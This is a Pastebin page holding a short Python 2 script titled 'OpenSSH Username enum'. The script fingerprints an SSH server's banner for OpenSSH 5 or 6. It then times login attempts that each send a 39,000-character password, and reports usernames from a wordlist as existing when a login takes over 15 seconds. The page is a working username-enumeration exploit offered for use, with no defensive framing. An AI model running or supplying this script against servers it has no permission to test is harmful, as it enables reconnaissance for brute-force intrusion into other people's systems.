Advertisement
Guest User

Untitled

a guest
Aug 24th, 2016
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.83 KB | None | 0 0
  1. #!/usr/bin/python
  2. # EDW - OpenSSH Username enum
  3.  
  4. import sys
  5. import paramiko
  6. import time
  7. import optparse
  8. import re
  9. import signal
  10. from socket import *
  11.  
  12. p = optparse.OptionParser("usage: %prog host user", version="%prog 0.2")
  13. p.add_option("-H", "--host", dest="host", type="string", help="specify hostname to run on")
  14. p.add_option("-u", "--userfile", dest="user", type="string", help="file of usernames")
  15. p.add_option("-p", "--port", dest="port", type="int", default=22, help="port number, default is 22")
  16.  
  17. (options, args) = p.parse_args()
  18.  
  19. host = options.host
  20. user = options.user
  21. port = options.port
  22. passw = 'A'*39000
  23.  
  24. def main():
  25. timeStart = timeDone = 0
  26.  
  27. s = socket(AF_INET, SOCK_STREAM)
  28. s.connect((host, port))
  29. s.send("Cymru_am_byth")
  30.  
  31. data = s.recv(1024)
  32. ndata = data.rstrip()
  33.  
  34. if not re.search(r"-OpenSSH_(5|6)",data):
  35. print "This version (%s) is not vulnerable to the timing attack" %ndata
  36. s.close()
  37. exit()
  38. else:
  39. print "This version (%s) looks vulnerable, lets try......." %ndata
  40. s.close()
  41.  
  42. try:
  43. u = open(user).read().splitlines()
  44. except IOError as e:
  45. print "I/O error({0}): {1}".format(e.errno, e.strerror)
  46. sys.exit()
  47.  
  48. for n in u:
  49. try:
  50. ssh = paramiko.SSHClient()
  51. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  52. tstart = int(time.time())
  53. ssh.connect(host,username=n,password=passw,port=port)
  54. ssh.close()
  55.  
  56. except paramiko.BadAuthenticationType, e:
  57. print e
  58. sys.exit(1)
  59.  
  60. except paramiko.SSHException,e:
  61. tdone = int(time.time())
  62. tres = tdone-tstart
  63.  
  64. if tres > 15:
  65. print "[*] User %s exists on %s - %i" %(n,host,tres)
  66. else:
  67. print "User %s does not exist on %s - %i" %(n,host,tres)
  68.  
  69. def signal_handler(signal, frame):
  70. print "\nCtrl+C pressed.. aborting..."
  71. exit()
  72.  
  73. if __name__ == '__main__':
  74. signal.signal(signal.SIGINT, signal_handler)
  75. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement